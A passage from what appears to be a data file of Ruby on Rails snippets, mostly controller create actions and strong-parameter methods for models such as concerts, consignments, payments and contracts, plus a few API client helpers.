を含めて保存する場合は認証に対応させる\n @concert = Concert.new(concert_savable_params)\n\n if @concert.save\n render :show, status: :created\n else\n render json: @concert.errors, status: :unprocessable_entity\n end\n end", "def destroy\n @consignment.destroy\n respond_to do |format|\n format.html { redirect_to consignments_url }\n format.json { head :no_content }\n end\n end", "def create\n #@incident = @quote.incidents.new(incident_params)\n logger.info params[:incident]\n params[:incident].each do |incident|\n @incident = @quote.incidents.new(incident)\n @incident.save\n end\n respond_to do |format|\n format.json { render :json => { :code => \"201\", :description => \"Created incidents\"} }\n end\n end", "def create\n @consignee = Consignee.new(consignee_params)\n\n respond_to do |format|\n if @consignee.save\n format.html { redirect_to new_consignee_path, notice: 'Consignee was successfully created.' }\n format.json { render :show, status: :created, location: @consignee }\n else\n format.html { render :new }\n format.json { render json: @consignee.errors, status: :unprocessable_entity }\n end\n end\n end", "def consignment_params\n params.require(:consignment).permit(:owner_id, :good_id)\n end", "def consignment_params\n params.require(:consignment).permit(:merchant_id, :plan_id, :tracking_code, :receiver_name, :receiver_phone, :receiver_addr, :amount, :weight, :charge, :additional_cost, :compensation, :payment_status, :merchant_order_no, :package_description, :delivered_on, :current_hub_id, :target_hub_id, :rider, :assigned_by, :data_entry_by, :completed_by, :assigned_on, :assigned_on, :completed_on, :data_entry_on, :status)\n end", "def conciert_params\n params.require(:conciert).permit(:people, :duration, :date, :group_id)\n end", "def destroy\n @consignment.destroy\n respond_to do |format|\n format.html {redirect_to consignments_url, notice: 'Consignment was successfully destroyed.'}\n format.json {head :no_content}\n end\n end", "def add_tenant_circle(args = {}) \n post(\"/tenantcircles.json/\", args)\nend", "def create\n @consumable = Consumable.new(consumable_params)\n\n respond_to do |format|\n if @consumable.save\n format.html { redirect_to @consumable, notice: \"Consumable was successfully created.\" }\n format.json { render :show, status: :created, location: @consumable }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @consumable.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @con_in = ConIn.new(con_in_params)\n\n respond_to do |format|\n if @con_in.save\n format.html { redirect_to @con_in, notice: 'Con in was successfully created.' }\n format.json { render :show, status: :created, location: @con_in }\n else\n format.html { render :new }\n format.json { render json: @con_in.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @coment = Coment.new(coment_params)\n\n respond_to do |format|\n if @coment.save\n format.html { redirect_to @coment, notice: \"Coment was successfully created.\" }\n format.json { render :show, status: :created, location: @coment }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @coment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contrac_establishment = ContracEstablishment.new(contrac_establishment_params)\n\n respond_to do |format|\n if @contrac_establishment.save\n format.html { redirect_to @contrac_establishment, notice: 'Contrac establishment was successfully created.' }\n format.json { render :show, status: :created, location: @contrac_establishment }\n else\n format.html { render :new }\n format.json { render json: @contrac_establishment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @commitment = current_user.commitments.new(:event_id => params[:event_id], :status => 'OFFERED')\n\n respond_to do |format|\n if @commitment.save\n format.html { redirect_to root_path, notice: 'Thank you. We will get back with you.' }\n format.json { render json: @commitment, status: :created, location: @commitment }\n else\n end\n end\n end", "def set_consignment\n @consignment = Consignment.find(params[:id])\n end", "def create\n @consequence = Consequence.new(consequence_params)\n\n respond_to do |format|\n if @consequence.save\n format.html { redirect_to @consequence, notice: 'Consequence was successfully created.' }\n format.json { render :show, status: :created, location: @consequence }\n else\n format.html { render :new }\n format.json { render json: @consequence.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_and_invitation_studant(params = {})\n run(:post, \"/invitations\", [201,422], JSON.dump(params))\n end", "def create\n @concert = Concert.new(concert_params)\n\n respond_to do |format|\n if @concert.save\n format.html { redirect_to(@concert, :notice => 'Concert was successfully created.') }\n format.xml { render :xml => @concert, :status => :created, :location => @concert }\n else\n format.html { render :action => 'new' }\n format.xml { render :xml => @concert.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @trein_consul_comercial = TreinConsulComercial.new(trein_consul_comercial_params)\n\n respond_to do |format|\n if @trein_consul_comercial.save\n format.html { redirect_to @trein_consul_comercial, notice: 'Trein consul comercial was successfully created.' }\n format.json { render action: 'show', status: :created, location: @trein_consul_comercial }\n else\n format.html { render action: 'new' }\n format.json { render json: @trein_consul_comercial.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_consignment\n @consignment = Consignment.find(params[:id])\n end", "def create\n\n @congress = Congress.new(congress_params)\n @congress.responsible_id = current_user.id\n respond_to do |format|\n if @congress.save\n format.html { redirect_to @congress, notice: 'Congress was successfully created.' }\n format.json { render :show, status: :created, location: @congress }\n else\n format.html { render :new }\n format.json { render json: @congress.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @concour = Concour.new(params[:concour])\n\n respond_to do |format|\n if @concour.save\n format.html { redirect_to @concour, notice: 'Concour was successfully created.' }\n format.json { render json: @concour, status: :created, location: @concour }\n else\n format.html { render action: \"new\" }\n format.json { render json: @concour.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @convidado = Convidado.new(convidado_params)\n\n respond_to do |format|\n if @convidado.save\n format.html { redirect_to @convidado, notice: 'Convidado was successfully created.' }\n format.json { render :show, status: :created, location: @convidado }\n else\n format.html { render :new }\n format.json { render json: @convidado.errors, status: :unprocessable_entity }\n end\n end\n end", "def concert_params\n params.require(:concert).permit(:concert_name, :source, :done, :image, :tm_id, :local_date, :date, :timezone, :venue_id, :origin)\n end", "def index\n @consignees = Consignee.all\n end", "def create\n # authorize preorder_conversition\n member = Member.where(id: params[:preorder_conversition][:member_id]).first\n @preorder_conversition = @site.preorder_conversitions.new(permitted_attributes(PreorderConversition).merge(user_id: current_user.id, member_name: member.name, member_phone: member.mobile_phone))\n if @preorder_conversition.save\n render json: {status: 'ok', url: agent_preorder_conversitions_path}\n else\n render json: {status: 'error', message:@preorder_conversition.errors.full_messages.join(',')}\n end\n end", "def create\n @concedente = Concedente.new(concedente_params)\n\n respond_to do |format|\n if @concedente.save\n format.html { redirect_to @concedente, notice: 'Concedente was successfully created.' }\n format.json { render action: 'show', status: :created, location: @concedente }\n else\n format.html { render action: 'new' }\n format.json { render json: @concedente.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contract = Contract.new(contract_params)\n respond_to do |format|\n if @contract.save\n if params[:song_ids].present?\n songs = []\n params[:song_ids].each{|song_id| songs << Song.find_by(:id=>song_id)}\n songs = songs.compact.reject(&:nil?)\n songs.each{|song| song.contract_assignments.create!(:contract_id=>@contract.id) }\n end\n \n if params[:demo_ids].present?\n demos = []\n params[:demo_ids].map{|demo_id| demos << Demo.find_by(:id=>demo_id) }\n demos.each{|demo| demo.contract_assignments.create!(:contract_id=>@contract.id) }\n end\n\n if params[:library_ids].present?\n libraries = []\n params[:library_ids].map{|library_id| libraries << Library.find_by(:id=>library_id) }\n libraries.each{|library| library.contract_assignments.create!(:contract_id=>@contract.id) }\n end\n\n format.json { render :show, status: :created, location: @api_v1_contract }\n else\n format.json { render json: @contract.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n #PaypalCallback object sends the raw post request to paypal and expects to get VERIFIED back\n response = PaypalCallback.new(params, request.raw_post, ENV[\"PAYPAL_POST_URL\"])\n\n #check that the payment says completed & paypal verifies post content\n if response.completed? && response.valid?\n @transaction = Transaction.find(params[:invoice]) #invoice is a pass through variable that gets embedded in the encrpyted paypal form and we get it back here\n Payment.create(:params => params.to_unsafe_h, :transaction_id => @transaction.id, :amount => params['payment_gross'], :confirmed => true)\n else\n #TODO maybe send out some type of alert to an admin\n end\n head :ok\n end", "def create\n @donation = current_user.donations.new(donation_params)\n respond_to do |format|\n if @donation.save\n\n #SyncDonationJobJob.perform_async @donation.id\n @donation.donation_categories = DonationCategory.where(id: params[:donation][:donation_category_ids])\n #@donation.sync_task\n format.html { redirect_to api_v1_donation_url @donation, notice: 'Donation was successfully created.' }\n format.json { render :show, status: :created, location: api_v1_donation_url(@donation) }\n else\n format.html { render :new }\n format.json { render json: @donation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @conseq = Conseq.new(params[:conseq])\n\n respond_to do |format|\n if @conseq.save\n format.html { redirect_to(@conseq, :notice => 'Conseq was successfully created.') }\n format.xml { render :xml => @conseq, :status => :created, :location => @conseq }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @conseq.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @coversation = Coversation.new(coversation_params)\n\n respond_to do |format|\n if @coversation.save\n format.html { redirect_to @coversation, notice: 'Coversation was successfully created.' }\n format.json { render :show, status: :created, location: @coversation }\n else\n format.html { render :new }\n format.json { render json: @coversation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sigurance = Sigurance.new(sigurance_params)\n @sigurance.save!\n\n SiguranceMailer.new_sigurance(@sigurance).deliver_now\n\n respond_to do |format|\n if @sigurance.save\n format.html { redirect_to @sigurance, notice: 'Sigurance was successfully created.' }\n format.json { render :show, status: :created, location: @sigurance }\n else\n format.html { render :new }\n format.json { render json: @sigurance.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @payment = @contract.payments.new(payment_params)\n\n if @payment.save\n render :show, status: :created, location: url_for([@contract, @payment])\n else\n render json: @payment.errors, status: :unprocessable_entity\n end\n end", "def create\n @post = Post.find(params[:post_id])\n @coment = @post.coments.new(coment_params.merge(user_id: current_user.id))\n # @comment = @post.comments.new(params[:comment].permit(:body).merge(user_id: current_user.id))\n\n respond_to do |format|\n if @coment.save\n format.html { redirect_to @post }\n format.json { render :show, status: :created, location: @coment }\n else\n format.html { render :new }\n format.json { render json: @coment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contestant = Contestant.new(contestant_params)\n\n \n if @contestant.save\n render json: @contestant\n else\n render json: @contestant.errors\n end\n \n end", "def create\n @confection = Confection.new(confection_params)\n\n respond_to do |format|\n if @confection.save\n format.html { redirect_to @confection, notice: 'Confection was successfully created.' }\n format.json { render action: 'show', status: :created, location: @confection }\n else\n format.html { render action: 'new' }\n format.json { render json: @confection.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @unit = Unit.new(unit_params)\n respond_to do |format|\n if @unit.save\n Unit.transaction do\n auth = Signet::Rails::Factory.create_from_env :google, request.env\n client = Google::APIClient.new\n client.authorization = auth\n plusDomain = client.discovered_api('plusDomains')\n @result = client.execute(:api_method => plusDomain.circles.insert,\n :parameters => {'userId' => 'me'},\n :body =>MultiJson.dump('displayName' => @unit.name),\n :headers => {'Content-Type' => 'application/json'}\n )\n @unit.update_column(:circle_id, @result.data.id)\n end\n format.html { redirect_to @unit, notice: 'Unit was successfully created.' }\n format.json { render action: 'show', status: :created, location: @unit }\n else\n format.html { render action: 'new' }\n format.json { render json: @unit.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(options)\n API::request(:post, 'subscription_agreements', options)\n end", "def concert_params\n params.require(:concert).permit(:title, :description, :cdatetime, :location_name, :ccity, :buy_tickets_website)\n end", "def create\n @consumo = Consumo.new(consumo_params)\n\n respond_to do |format|\n if @consumo.save\n format.html { redirect_to @consumo, notice: 'Consumo was successfully created.' }\n format.json { render :show, status: :created, location: @consumo }\n else\n format.html { render :new }\n format.json { render json: @consumo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @congregation = Congregation.new(congregation_params)\n\n respond_to do |format|\n if @congregation.save\n format.html { redirect_to @congregation, notice: 'Congregation was successfully created.' }\n format.json { render :show, status: :created, location: @congregation }\n else\n format.html { render :new }\n format.json { render json: @congregation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @campus_recuritment = CampusRecuritment.new(campus_recuritment_params)\n\n respond_to do |format|\n if @campus_recuritment.save\n format.html { redirect_to @campus_recuritment, notice: 'Campus recuritment was successfully created.' }\n format.json { render :show, status: :created, location: @campus_recuritment }\n else\n format.html { render :new }\n format.json { render json: @campus_recuritment.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @consents = Consent.all\n render json: @consents\n end", "def create\n @concert = Concert.new(params[:concert])\n @band = Band.find(params[:band_id])\n @concert.bands << @band\n\n if @concert.save\n flash[:notice] = 'Concert was successfully created.'\n redirect_to admin_band_path(@band, :anchor => 'concerts')\n else\n @countries = Country.all\n render :action => \"new\"\n end\n end", "def create\n @convo = Convo.new(params[:convo])\n @convo.user_id = current_user.id\n upmerituser(current_user, 10)\n respond_to do |format|\n if @convo.save\n format.html { redirect_to convo_posts_url(:convo_id => @convo.id), notice: 'New conversation created.' }\n format.json { render json: convo_posts_url(:convo_id => @convo.id), status: :created, location: @convo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @convo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @connaissance = Connaissance.new(connaissance_params)\n\n respond_to do |format|\n if @connaissance.save\n format.html { redirect_to @connaissance, notice: 'Connaissance was successfully created.' }\n format.json { render :show, status: :created, location: @connaissance }\n else\n format.html { render :new }\n format.json { render json: @connaissance.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_check(excon, body)\n excon.request(\n method: :post,\n path: '/check',\n headers: { 'Content-Type' => 'application/json' },\n body: body\n )\nend", "def create\n @congresso = Congresso.new(congresso_params)\n\n respond_to do |format|\n if @congresso.save\n format.html { redirect_to @congresso, notice: 'Congresso was successfully created.' }\n format.json { render :show, status: :created, location: @congresso }\n else\n format.html { render :new }\n format.json { render json: @congresso.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @participation = Participation.new(params[:participation])\n respond_to do |format|\n if user_signed_in?\n @participation.User_id=current_user.id\n if @participation.save\n comp=Competition.find(@participation.Competition_id)\n ds=Dataset.find(comp.Dataset_id)\n chalenges=Chalenge.find(:all,:conditions => { :Dataset_id => ds.id})\n chalenges.each do |chal|\n sub=Submission.new\n sub.Participation_id=@participation.id \n sub.Chalenge_id=chal.id\n sub.save\n end\n format.html { redirect_to @participation, notice: 'Participation was successfully created.' }\n format.json { render json: @participation, status: :created, location: @participation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @participation.errors, status: :unprocessable_entity }\n end\n else\n redirect_to signin_path, status: 'You must sign in to declare a participation.' \n end\n end\n end", "def create\n @consumo = Consumo.new(params[:consumo])\n\n respond_to do |format|\n if @consumo.save\n format.html { redirect_to @consumo.cliente, :notice => 'Consumo adicionado com sucesso.' }\n format.json { render :json => @consumo, :status => :created, :location => @consumo }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @consumo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @budget = Budget.new(budget_params)\n @client = Client.new\n @clients = Client.all\n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: 'El presupuesto se creó correctamente' }\n format.json { render :show, status: :created, location: @budget }\n else\n format.html { render :new }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def postContractCreate( entity_id, user_id, payment_provider, basket, billing_period, source, channel, campaign, referrer_domain, referrer_name, flatpack_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['user_id'] = user_id\n params['payment_provider'] = payment_provider\n params['basket'] = basket\n params['billing_period'] = billing_period\n params['source'] = source\n params['channel'] = channel\n params['campaign'] = campaign\n params['referrer_domain'] = referrer_domain\n params['referrer_name'] = referrer_name\n params['flatpack_id'] = flatpack_id\n return doCurl(\"post\",\"/contract/create\",params)\n end", "def create\n @concert = @theater.concerts.new(concert_params)\n\n respond_to do |format|\n if @concert.save\n format.html { redirect_to @concert, notice: 'Concert was successfully created.' }\n #TODO localise the previous string\n format.json { render :show, status: :created, location: @concert }\n else\n format.html { render :new }\n format.json { render json: @concert.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @concessionary = Concessionary.new(concessionary_params)\n\n respond_to do |format|\n if @concessionary.save\n format.html { redirect_to @concessionary, notice: 'Concessionario creado satisfactoriamente.' }\n format.json { render :show, status: :created, location: @concessionary }\n else\n format.html { render :new }\n format.json { render json: @concessionary.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @corruption = current_citoyen.corruptions.build(corruption_params)\n\n respond_to do |format|\n if @corruption.save\n format.html { redirect_to @corruption, notice: 'Corruption was successfully created.' }\n format.json { render :show, status: :created, location: @corruption }\n else\n format.html { render :new }\n format.json { render json: @corruption.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @benefit_requested = BenefitRequested.new(benefit_requested_params)\n\n respond_to do |format|\n if @benefit_requested.save\n ### Para crear postulacion\n if user_signed_in?\n user_id = current_user.id\n pb = PersonalBackground.select(:id).where(user_id: user_id)\n pb.each do |p|\n @pb_id = p.id\n end\n fg = FamilyGroup.select(:id).where(user_id: user_id)\n fg.each do |f|\n @fg_id = f.id\n end\n cw = CharacterizationWork.select(:id).where(user_id: user_id)\n cw.each do |c|\n @cw_id = c.id\n end\n br = BenefitRequested.select(:id).where(user_id: user_id)\n br.each do |b|\n @br_id = b.id\n end\n Postulation.create([{postulation_date_id: session[:postulation_date_id], user_id: user_id, personal_backgrounds_id: @pb_id, family_group_id: @fg_id, characterization_work_id: @cw_id, benefit_requested_id: @br_id, postulation_state_id: '3'}])\n elsif asociative_user_signed_in?\n asociative_user_id = current_asociative_user.id\n cw = CharacterizationWork.select(:id).where(asociative_user_id: asociative_user_id)\n cw.each do |c|\n @cw_id = c.id\n end\n br = BenefitRequested.select(:id).where(asociative_user_id: asociative_user_id)\n br.each do |b|\n @br_id = b.id\n end\n Postulation.create([{postulation_date_id: session[:postulation_date_id], asociative_users_id: asociative_user_id, characterization_work_id: @cw_id, benefit_requested_id: @br_id, postulation_state_id: '3'}])\n\n end\n\n format.html { redirect_to milestones_path, notice: 'Usted ha postulado a este fondo' }\n format.json { render :show, status: :created, location: @benefit_requested }\n else\n format.html { render :new }\n format.json { render json: @benefit_requested.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @small_concert = SmallConcert.new(small_concert_params)\n\n respond_to do |format|\n if @small_concert.save\n format.html { redirect_to '/admin/small_concerts', notice: 'Small concert was successfully created.' }\n format.json { render action: 'show', status: :created, location: @small_concert }\n else\n format.html { render action: 'new' }\n format.json { render json: @small_concert.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cargapp_payment = CargappPayment.new(cargapp_payment_params)\n\n respond_to do |format|\n if @cargapp_payment.save\n format.html { redirect_to @cargapp_payment, notice: 'Cargapp payment was successfully created.' }\n format.json { render :show, status: :created, location: @cargapp_payment }\n else\n format.html { render :new }\n format.json { render json: @cargapp_payment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n respond_to do |format|\n if @certification.save\n format.html { redirect_to Certification, :notice => 'Certification was successfully created.' }\n format.json { render :json => @certification, :status => :created, :location => @certification }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @certification.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @compromise = Compromise.new(compromise_params)\n\n if @compromise.save\n create_for_each_notification_type(@compromise)\n render json: @compromise, status: :created, location: @compromise\n else\n render json: @compromise.errors, status: :unprocessable_entity\n end\n end", "def create\n @cancellor = Cancellor.new(cancellor_params)\n\n respond_to do |format|\n if @cancellor.save\n format.html { redirect_to @cancellor, notice: 'Cancellor was successfully created.' }\n format.json { render :show, status: :created, location: @cancellor }\n else\n format.html { render :new }\n format.json { render json: @cancellor.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pay_agreement = @fee.pay_agreements.build(pay_agreement_params)\n\n respond_to do |format|\n if @pay_agreement.save\n format.html { redirect_to @pay_agreement, notice: 'Pay agreement was successfully created.' }\n format.json { render :show, status: :created, location: @pay_agreement }\n format.js { }\n else\n format.html { render :new }\n format.json { render json: @pay_agreement.errors, status: :unprocessable_entity }\n format.js { render layout: false, content_type: 'text/javascript' }\n end\n end\n end", "def create\n @payement = Payement.new(payement_params)\n\n respond_to do |format|\n if @payement.save\n format.html { redirect_to @payement, notice: 'Payement was successfully created.' }\n format.json { render :show, status: :created, location: @payement }\n else\n format.html { render :new }\n format.json { render json: @payement.errors, status: :unprocessable_entity }\n end\n end\n end", "def connections_post(opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: ConnectionApi#connections_post ...\"\n end\n \n # resource path\n path = \"/connections\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'access_token'] = opts[:'access_token'] if opts[:'access_token']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'body'])\n \n\n auth_names = ['quantimodo_oauth2']\n result = @api_client.call_api(:POST, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'inline_response_200_6')\n if Configuration.debugging\n Configuration.logger.debug \"API called: ConnectionApi#connections_post. Result: #{result.inspect}\"\n end\n return result\n end", "def create\n transaction = params[\"transaction\"]\n patient = Patient.generate_mckid(transaction)\n patient.save\n\n transaction[\"transaction_types\"].each do |key, value|\n if value == \"1\"\n Transaction.create(mck_id: patient&.guid.upcase, data_type: key )\n end\n end\n\n respond_to do |format|\n format.html { redirect_to new_transaction_path, notice: 'Transaction was successfully created.' }\n end\n end", "def commissioning_params\n params.require(:commissioning).permit(:label, :description, :client_id, :creator_id, commissioners: [] )\n \n end", "def create\n @contest = Contest.new(params[:contest])\n @contest.contractor_id = current_user.id\n \n respond_to do |format|\n if @contest.save\n format.html { redirect_to @contest, :notice => 'Contest was successfully created.' }\n format.json { render :json => @contest, :status => :created, :location => @contest }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @contest.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n PaymentNotification.create!(:params => params, :organization_id => params[:invoice], \n :status => params[:payment_status], :transaction_id => params[:txn_id], :amount => params[:auth_amount])\n render :nothing => true\n end", "def coment_params\n params.require(:coment).permit(:content, :post_id, :user_id)\n end", "def create\n @circulation = Circulation.new(params[:circulation])\n\n respond_to do |format|\n if @circulation.save\n format.html { redirect_to @circulation, notice: 'Circulation was successfully created.' }\n format.json { render json: @circulation, status: :created, location: @circulation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @circulation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n #@curriculum_assessment = CurriculumAssessment.create(params[:curriculum_assessments])\n \n @dop = Dop.find(params[:curriculum_assessment][:dop_id])\n @item = Item.find(params[:curriculum_assessment][:item_id])\n @curriculum_assessment = CurriculumAssessment.create(item: @item, dop: @dop)\n\n\n respond_to do |format|\n if @curriculum_assessment.save\n format.html { redirect_to @curriculum_assessment, notice: 'Curriculum assessment was successfully created.' }\n format.json { render json: @curriculum_assessment, status: :created, location: @curriculum_assessment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @curriculum_assessment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @inciting_incident = IncitingIncident.new(inciting_incident_params)\n\n if @inciting_incident.save\n render json: @inciting_incident, status: :created, location: @inciting_incident\n else\n render json: @inciting_incident.errors, status: :unprocessable_entity\n end\n end", "def create\n @interval_constraint = IntervalConstraint.new(interval_constraint_params)\n\n respond_to do |format|\n if @interval_constraint.save\n format.html { redirect_to @interval_constraint, notice: 'Interval constraint was successfully created.' }\n format.json { render :show, status: :created, location: @interval_constraint }\n else\n format.html { render :new }\n format.json { render json: @interval_constraint.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contum = Contum.new(params[:contum])\n\n respond_to do |format|\n if @contum.save\n format.html { redirect_to @contum, notice: 'Contum was successfully created.' }\n format.json { render json: @contum, status: :created, location: @contum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @contum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contractor_category = ContractorCategory.new(contractor_category_params)\n\n respond_to do |format|\n if @contractor_category.save\n format.html { redirect_to @contractor_category, notice: 'Contractor category was successfully created.' }\n format.json { render :show, status: :created, location: @contractor_category }\n else\n format.html { render :new }\n format.json { render json: @contractor_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def consignee_params\n params.require(:consignee).permit(:name, :phone_number, :city_id)\n end", "def create\n @campaign = Campaign.create!(name: params[:name], dm_id: params[:dm_id], theme: params[:theme], setting: params[:setting], calendar_id: params[:calendar_id], starting_level: params[:starting_level], skillset_id: params[:skillset_id], custom_notes: params[:custom_notes], starting_month: params[:month], starting_weekday: params[:weekday], starting_day: params[:day], starting_year: params[:year], starting_age: params[:age], current_month: params[:month], current_weekday: params[:weekday], current_day: params[:day], current_year: params[:year], current_age: params[:age])\n\n params[:race_ids].each do |ri|\n CampaignRace.create!(campaign_id: @campaign.id, race_id: ri)\n end\n\n params[:klass_ids].each do |ki|\n CampaignKlass.create!(campaign_id: @campaign.id, klass_id: ki)\n end\n\n render json: @campaign, status: 201\n\n end", "def create\n @envelope = Envelope.new(params[:envelope].merge({:account_id => Docusign::Config[:account_id]}))\n\n respond_to do |format|\n if @envelope.save\n flash[:notice] = 'Envelope was successfully created.'\n format.html { redirect_to(@envelope) }\n format.xml { render :xml => @envelope, :status => :created, :location => @envelope }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @envelope.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @certificado = Certificado.new(certificado_params)\n\n respond_to do |format|\n if @certificado.save!\n format.html { redirect_to @certificado, notice: 'Certificado was successfully created.' }\n format.json { render :show, status: :created, location: @certificado }\n else\n format.html { render :new }\n format.json { render json: @certificado.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @care_plan = CarePlan.new(care_plan_params)\n\n if @care_plan.save\n render json: @care_plan, status: :created, location: @care_plan\n else\n render json: @care_plan.errors, status: :unprocessable_entity\n end\n end", "def create\n payment = Payment.create!(\n user_id: params['payment']['user_id'],\n fullname: params['payment']['fullname'],\n country: params['payment']['country'],\n city: params['payment']['city'],\n district_id: params['payment']['district_id'],\n address: params['payment']['address'],\n phone: params['payment']['phone'],\n cart_id: params['payment']['cart_id'],\n subtotal: params['payment']['subtotal'],\n total: params['payment']['total'],\n status_id: params['payment']['status_id']\n )\n if payment\n render json:{\n status: :created,\n payment: payment\n }\n else\n render json: { status: 500}\n end\n end", "def create\n @certified = Certified.new(certified_params)\n @certified.events = events\n @certified.attendees = attendees\n @certified.slug = generate_token\n @certified.user = self.current_user\n\n flash[:notice] = \"Certificado criado com sucesso.\" if @certified.save\n\n respond_with(@certified) do |format|\n format.html { redirect_to @certified }\n end\n end", "def create\n @marketing_campaign = MarketingCampaign.new(params[:marketing_campaign])\n \n @marketing_campaign.contact_groups = Array.new\n \n if(params[:contact_groups] != nil)\n\t\t params[:contact_groups].each do |id|\n\t\t \t@marketing_campaign.contact_groups << ContactGroup.find(id[0])\n\t\t\tend\n\t\tend\n\t\t\n\t\t@marketing_campaign.next_status\n\n respond_to do |format|\n if @marketing_campaign.save\n format.html { redirect_to @marketing_campaign, notice: 'Marketing campaign was successfully created.' }\n format.json { render json: @marketing_campaign, status: :created, location: @marketing_campaign }\n else\n format.html { render action: \"new\" }\n format.json { render json: @marketing_campaign.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(params = {})\n wrapped_params = { insurance: params }\n @client.make_request(:post, 'insurances', MODEL_CLASS, wrapped_params)\n end", "def concert_params\n params.require(:concert).permit(:title, :location, :description, :capacity, :price, :image, :date)\n end", "def create\n @incident_proof = IncidentProof.new(incident_proof_params)\n\n respond_to do |format|\n if @incident_proof.save\n format.html { redirect_to @incident_proof, notice: 'Incident proof was successfully created.' }\n format.json { render :show, status: :created, location: @incident_proof }\n else\n format.html { render :new }\n format.json { render json: @incident_proof.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @consumable = Consumable.new(consumable_params)\n @locations = Location.all\n\n respond_to do |format|\n if @consumable.save(validate: false)\n TagMakerWorker.perform_async(\"consumable\", @consumable.id)\n Consumable.reindex\n #this is a sad excuse for a loading spinner. we need to do this differently in production\n sleep 2\n format.html { redirect_to @consumable, notice: 'Consumable was successfully created!' }\n format.json { render :show, status: :created, location: @consumable }\n else\n format.html { render :new }\n format.json { render json: @consumable.errors, status: :unprocessable_entity }\n end\n end\n Consumable.reindex\n end", "def create\n @agreement = Agreement.new(agreement_params)\n\n respond_to do |format|\n if @agreement.save\n format.html { redirect_to @agreement, notice: 'Certificado criado com sucesso.' }\n format.json { render :show, status: :created, location: @agreement }\n else\n format.html { render :new }\n format.json { render json: @agreement.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @income_payment = @income.income_payments.build(income_payment_params)\n\n respond_to do |format|\n if @income_payment.save\n format.html { redirect_to income_income_payments_path(@income), notice: 'Income payment was successfully updated.' }\n format.json { render :show, status: :created, location: @income_payment }\n else\n format.html { render :new }\n format.json { render json: @income_payment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @asignatura = Asignatura.new(asignatura_params)\n\n respond_to do |format|\n if @asignatura.save\n format.json { render json: \"Asignatura Creada\", status: :created, location: @asignatura }\n else\n format.json { render json: @asignatura.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @society_recuritment = SocietyRecuritment.new(society_recuritment_params)\n\n respond_to do |format|\n if @society_recuritment.save\n format.html { redirect_to @society_recuritment, notice: 'Society recuritment was successfully created.' }\n format.json { render :show, status: :created, location: @society_recuritment }\n else\n format.html { render :new }\n format.json { render json: @society_recuritment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n params[:certification][:course_id].each do |i|\n begin\n cert = @person.certifications.build(course_id: i, year_id: params[:certification][:year_id])\n cert.save\n 